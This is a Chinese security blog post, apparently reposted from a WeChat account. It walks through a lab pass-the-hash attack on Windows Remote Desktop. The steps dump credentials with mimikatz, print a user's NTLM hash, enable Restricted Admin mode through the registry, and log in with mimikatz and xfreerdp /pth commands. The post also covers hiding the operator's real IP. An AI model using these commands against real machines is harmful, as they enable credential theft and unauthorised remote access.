前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >kali下利用FreeRDP进行hash登录远程桌面

kali下利用FreeRDP进行hash登录远程桌面

作者头像
乌鸦安全
发布2023-08-17 09:06:36
9110
发布2023-08-17 09:06:36
举报
文章被收录于专栏:乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

更新时间:2023年07月23日

1. 背景介绍

在很多情况下,拿不到明文密码,由于对方机器是win2012的话,可以尝试使用hash登录RDP,看下桌面有什么东西。hash登录RDP其实有两个版本:

  • Windows版,本地用mimikatz来配合登录
  • linux版,用类似于FreeRDP这样的工具pth登录RDP

1.1 Windows版

但很多情况下,如果在Windowsproxifier代理有问题的时候,就会发现无论如何设置,hash登录rdp的流量就是走不了代理,这如果机器本身就在外网的话,会暴露自己的真实ip,如果在内网的话,基本上就是登录不成功。比如下面的:

1.2 linux版

好消息是linux版可以使用FreeRDP这样的工具进行登录,坏消息是在早期网上说FreeRDP已经被移除了,新版本FreeRDP已经移除了该模块,但是作者给出了旧版本的文件,我们可以自行编译该模块进行使用。https://www.secpulse.com/archives/72190.html

不过这个文章是18年的,好消息是目前新版FreeRDP又又又把功能加回来了,但变化是参数执行方式发生了一些微调:

本来想着自己用老版本编译一下看看的,但是新版已经支持了,本文就来操作看下。

2.环境准备

2.1 拓扑介绍

在这里分别采用:

Windows2012 192.168.135.133

代码语言:javascript
复制
被登录机器,只提供`hash`值,该环境已经关闭了防火墙,`3389`默认开启

Windows10 2016长期服务版 192.168.135.168

代码语言:javascript
复制
登录`Windows2012`,验证`hash`登录是否能够成功

Windows server2019 192.168.135.136

登录Windows server2012备用机器

kali linux 192.168.135.138

代码语言:javascript
复制
采用`FreeRDP`登录`winserver2012`

image.png

2.2 环境准备

在这里先把hash拿到,由于在本地,直接用mimikatz获取winserver2012hash值:

代码语言:javascript
复制
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

image.png

在这里就获得了当前用户crowhash信息:

代码语言:javascript
复制
  [00000003] Primary
  * Username : crow
  * Domain   : WIN-OE76K6VTLBR
  * NTLM     : 570a9a65db8fba761c1008a51d4c95ab
  * SHA1     : 759e689a07a84246d0b202a80f5fd9e335ca5392

在这里需要继续设置,才可以进行hash登录:

代码语言:javascript
复制
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

1

查看是否已开启 DisableRestrictedAdmin REG_DWORD 0x0 `存在就是开启:

代码语言:javascript
复制
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

image.png

此时已开启。此时用win10来登录测试下:当前winserver2012的信息:

代码语言:javascript
复制
 192.168.135.133

[00000003] Primary
  * Username : crow
  * Domain   : WIN-OE76K6VTLBR
  * NTLM     : 570a9a65db8fba761c1008a51d4c95ab
  * SHA1     : 759e689a07a84246d0b202a80f5fd9e335ca5392

Windows10上用mimikatz来进行hash登录的命令:

代码语言:javascript
复制
privilege::debug

sekurlsa::pth /user:crow /domain:WIN-OE76K6VTLBR /ntlm:570a9a65db8fba761c1008a51d4c95ab "/run:mstsc.exe /restrictedadmin"

image.png

此时win10上出现了这个问题:

代码语言:javascript
复制
出现身份验证错误。
要求的函数不受支持
元程计算机: 192.168.135.133
这可能是由于 CredsSP 加密 Oracle 修iE若要了解详细信息,请访问 https://go.microsoft.com/fwlink/?linkid=866660

这个我看到网上有非常多的方法,在攻防中遇到过好多次,最好的方法就是换一个客户端去连接,在这使用Windows server2019来连接:

image.png

到这里就可以证明环境是没有问题的,接下来就看kali了。

3. kali下的FreeRDP

看下当前FreeRDP的版本:

image.png

此时如果用明文登录的话,命令应该是这样的:

代码语言:javascript
复制
xfreerdp /u:crow /p:Admin@123 /v:192.168.135.133:3389

xfreerdp的命令改动非常大,网上好多教程命令都对不上了,但是用这种方法登录的话,会遇到问题:

image.png

代码语言:javascript
复制
[10:59:55:669] [40228:40229] [ERROR][com.freerdp.core] - transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]

通过查阅资料得知:https://github.com/FreeRDP/FreeRDP/issues/6544加上/tls-seclevel:0 /timeout:80000参数就可以了:

代码语言:javascript
复制
xfreerdp /u:crow /p:Admin@123 /v:192.168.135.133:3389 /tls-seclevel:0 /timeout:80000

image.png

如果此时试试用hash登录了,因为新版里面好像有hash的选项:

image.png

代码语言:javascript
复制
xfreerdp /pth:570a9a65db8fba761c1008a51d4c95ab /v:192.168.135.133:3389 /tls-seclevel:0 /timeout:80000

image.png

根据提示,用用户名crow

代码语言:javascript
复制
xfreerdp /pth:570a9a65db8fba761c1008a51d4c95ab /u:crow /v:192.168.135.133:3389 /tls-seclevel:0 /timeout:80000

image.png

直接成功。

4. FreeRDP的用处

Linux上用FreeRDP进行hash登录操作,主要还是因为代理的问题,因为我有授权的攻防中,在登陆某些公网机器的时候,不想泄露自己的真实ip,需要套一层,虽然我在其他的虚拟机里面可以用代理走3389了,但是这里面还存在一个rdp反制的问题,后面有机会和大家分享一下。本来想学习下老版本FreeRDP的编译知识,来支持下pth的,但是新版又给加回来了,所以本文就到此。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-08-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 背景介绍
    • 1.1 Windows版
      • 1.2 linux版
      • 2.环境准备
        • 2.1 拓扑介绍
          • 2.2 环境准备
          • 3. kali下的FreeRDP
          • 4. FreeRDP的用处
          相关产品与服务
          多因子身份认证
          多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档